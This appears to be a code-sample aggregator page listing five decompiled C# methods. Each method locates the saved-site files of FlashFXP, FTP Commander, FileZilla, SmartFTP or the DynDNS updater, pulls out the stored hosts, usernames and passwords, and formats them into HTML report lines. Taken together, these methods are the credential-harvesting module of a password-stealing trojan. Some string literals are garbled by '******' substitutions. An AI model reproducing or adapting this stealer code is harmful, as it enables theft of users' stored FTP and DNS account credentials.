示例#1
0
    public static string SFlashFxp()
    {
        string sInhalt = Ftp.ReadFile(Strings.Replace(Interaction.Environ("APPDATA"), Interaction.Environ("Username"), "All Users", 1, -1, CompareMethod.Binary) + "\\FlashFXP\\3\\quick.dat");
        string str1    = Ftp.Cut(sInhalt, "IP=", "\r\n");
        string str2    = Ftp.Cut(sInhalt, "port=", "\r\n");
        string Left    = Ftp.Cut(sInhalt, "user="******"\r\n");
        string str3    = Ftp.Cut(sInhalt, "pass="******"\r\n");
        string str4    = Ftp.Cut(sInhalt, "created=", "\r\n");
        string str5;

        if (Operators.CompareString(Left, "", false) != 0)
        {
            try
            {
                str5 = "Entry: " + str4 + "\r\nHost: " + str1 + ":" + str2 + "\r\nUsername: "******"\r\nPassword: "******" (Encrypt)<br />";
                goto label_4;
            }
            catch (Exception ex)
            {
                ProjectData.SetProjectError(ex);
                ProjectData.ClearProjectError();
            }
        }
label_4:
        return(str5);
    }
示例#2
0
    public static string SCommander()
    {
        string sInhalt = Ftp.ReadLine(Strings.Replace(Ftp.RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Commander\\UninstallString"), "uninstall.exe", (string)null, 1, -1, CompareMethod.Binary) + "Ftplist.txt", -1);
        string str1    = Ftp.Cut(sInhalt, ";Server=", ";Port=");
        string str2    = Ftp.Cut(sInhalt, ";Port=", ";Password="******";User="******";Anonymous=");
        string str3    = Ftp.Cut(sInhalt, ";Password="******";User="******"Name=", ";Server=");
        string str5;

        if (Operators.CompareString(Left, "", false) != 0)
        {
            try
            {
                str5 = "Entry: " + str4 + "\r\nHost: " + str1 + ":" + str2 + "\r\nUsername: "******"\r\nPassword: "******"<br />";
                goto label_4;
            }
            catch (Exception ex)
            {
                ProjectData.SetProjectError(ex);
                ProjectData.ClearProjectError();
            }
        }
label_4:
        return(str5);
    }
示例#3
0
    public static string SFilezilla()
    {
        string sInhalt = Ftp.ReadFile(Interaction.Environ("APPDATA") + "\\FileZilla\\sitemanager.xml");
        string str1    = Ftp.Cut(sInhalt, "<Host>", "</Host>");
        string str2    = Ftp.Cut(sInhalt, "<Port>", "</Port>");
        string Left    = Ftp.Cut(sInhalt, "<User>", "</User>");
        string str3    = Ftp.Cut(sInhalt, "<Pass>", "</Pass>");
        string str4    = Ftp.Cut(sInhalt, "<Name>", "</Name>");
        string str5;

        if (Operators.CompareString(Left, "", false) != 0)
        {
            try
            {
                str5 = "Adı: " + str4 + "\r\nHost: " + str1 + ":" + str2 + "\r\nUsername: "******"\r\nPassword: "******"<br />";
                goto label_4;
            }
            catch (Exception ex)
            {
                ProjectData.SetProjectError(ex);
                ProjectData.ClearProjectError();
            }
        }
label_4:
        return(str5);
    }
示例#4
0
    public static string Ssmart()
    {
        string sInhalt = Ftp.ReadFile(Interaction.Environ("APPDATA") + "\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\" + FileSystem.Dir(Interaction.Environ("APPDATA") + "\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\*.xml", FileAttribute.Normal));
        string str1    = Ftp.Cut(sInhalt, "<Host>", "</Host>");
        string str2    = Ftp.Cut(sInhalt, "<Port>", "</Port>");
        string Left    = Ftp.Cut(sInhalt, "<User>", "</User>");
        string str3    = Ftp.Cut(sInhalt, "<Password>", "</Password>");
        string str4    = Ftp.Cut(sInhalt, "<Name>", "</Name>");
        string str5;

        if (Operators.CompareString(Left, "", false) != 0)
        {
            try
            {
                str5 = "Entry: " + str4 + "\r\nHost: " + str1 + ":" + str2 + "\r\nUsername: "******"\r\nPassword: "******" (Encrypt)<br />";
                goto label_4;
            }
            catch (Exception ex)
            {
                ProjectData.SetProjectError(ex);
                ProjectData.ClearProjectError();
            }
        }
label_4:
        return(str5);
    }
示例#5
0
    public static string sDynDns()
    {
        string sInhalt = Ftp.ReadFile(Strings.Replace(Interaction.Environ("APPDATA"), Interaction.Environ("Username"), "All Users", 1, -1, CompareMethod.Binary) + "\\DynDNS\\Updater\\config.dyndns");
        string str1    = Ftp.Cut(sInhalt, "[Hosts]", "Count=");
        string str2    = Ftp.Cut(sInhalt, "Username="******"\r\n");
        string Left    = Ftp.Cut(sInhalt, "Password="******"\r\n");
        string str3;

        if (Operators.CompareString(Left, "", false) != 0)
        {
            try
            {
                str3 = "Hosts:" + str1 + "\r\nUsername: "******"\r\nPassword: "******" (Encrypt)<br />";
                goto label_4;
            }
            catch (Exception ex)
            {
                ProjectData.SetProjectError(ex);
                ProjectData.ClearProjectError();
            }
        }
label_4:
        return(str3);
    }